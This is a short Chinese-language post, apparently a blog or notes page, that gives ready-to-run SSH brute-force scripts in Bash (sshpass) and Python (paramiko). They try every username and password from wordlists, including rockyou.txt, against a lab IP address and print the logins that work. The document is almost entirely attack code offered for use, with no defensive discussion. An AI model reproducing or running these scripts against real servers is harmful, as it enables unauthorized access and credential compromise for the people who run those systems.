SSH爆破脚本
Bash
#!/bin/bash
# 目标服务器的IP地址和SSH端口
target_ip="192.168.216.144"
ssh_port=22
# 用户名和密码列表文件
user_list="users.txt"
pass_list="passwords.txt"
# 指定加密类型,不指定则填no
KeyCheck="no"
# 尝试爆破SSH登录的函数
function try_ssh_login() {
local username=$1
local password=$2
sshpass -p "$password" ssh -o StrictHostKeyChecking=$KeyCheck "$username"@"$target_ip" -p "$ssh_port" &> /dev/null
if [ $? -eq 0 ]; then
echo "登录成功: $username/$password"
fi
}
# 读取用户名和密码列表文件,并尝试爆破SSH登录
while IFS= read -r username; do
while IFS= read -r password; do
try_ssh_login "$username" "$password"
done < "$pass_list"
done < "$user_list"
Python
import paramiko
# 目标服务器的IP地址和SSH端口
target_ip = "192.168.216.144"
ssh_port = 22
# 用户名和密码列表文件
user_list = r"./user.list"
pass_list = r"/usr/share/wordlists/rockyou.txt"
# 指定加密算法
encryption_algorithm = "aes-256-cbc"
# 尝试爆破SSH登录的函数
def try_ssh_login(username, password):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(hostname=target_ip, port=ssh_port, username=username, password=password,
key_filename=None, timeout=10, allow_agent=False, look_for_keys=False,
banner_timeout=10)
print(f"登录成功: {username}/{password}")
client.close()
except paramiko.AuthenticationException:
print(f"认证失败: {username}/{password}")
except paramiko.SSHException as sshException:
print(f"连接失败: {username}/{password} - {sshException}")
except Exception as e:
print(f"发生错误: {username}/{password} - {e}")
# 读取用户名和密码列表文件,并尝试爆破SSH登录
with open(user_list, 'r') as users, open(pass_list, 'r') as passwords:
for username in users:
for password in passwords:
try_ssh_login(username.strip(), password.strip())
License:
CC BY 4.0